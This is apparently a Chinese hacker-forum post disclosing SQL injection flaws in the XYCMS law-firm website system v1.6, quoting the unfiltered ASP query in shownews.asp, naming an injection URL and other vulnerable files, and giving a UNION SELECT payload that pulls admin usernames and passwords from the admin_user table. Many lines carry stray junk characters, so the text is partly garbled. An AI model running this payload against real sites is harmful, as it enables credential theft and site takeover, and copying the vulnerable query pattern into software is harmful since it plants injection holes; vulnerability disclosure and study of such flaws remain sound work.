XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
--------------------------------------------------------
3 p- f/ `+ Y  d  \+ n# L$ K
, p3 F  e6 U4 L1 N, l审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
: e( v/ L; T6 F# q源码地址:http://down.chinaz.com/soft/29233.htm
8 l) \) B3 u5 z: p3 A' T
5 y, Y8 ~9 u+ K" G! u+ O漏洞文件:shownews.asp
' `4 o( A( c  n漏洞代码：7-13行
3 }( F- Y3 J. v5 N- s' g/ g
! O' T0 w! T$ ?3 T6 O4 ?2 _8 g& w( T
) ]# C8 @. \+ L<%
id=request.QueryString("id")
. y8 F% z; ?2 N   
0 E2 k) ^0 D: Y2 B4 M" kset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
, W4 q% k% Q' q$ Osnews.open exec,conn,1,1
%>
4 M$ X: \) C7 ?, c2 t! }, Q

6 [8 r0 b$ J. |) U! x. X, m( O% H; M什么过滤都没有  直造成注入
; e" }5 s" o' z
注入点:http://127.0.0.1:99/shownews.asp?id=xx
# t! e1 s  ~& h) x+ G
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
, y8 q3 I4 }$ A
/ z! H; A- d* v, X
exp: union select 1,admin,password,4,5,7 from admin_user
​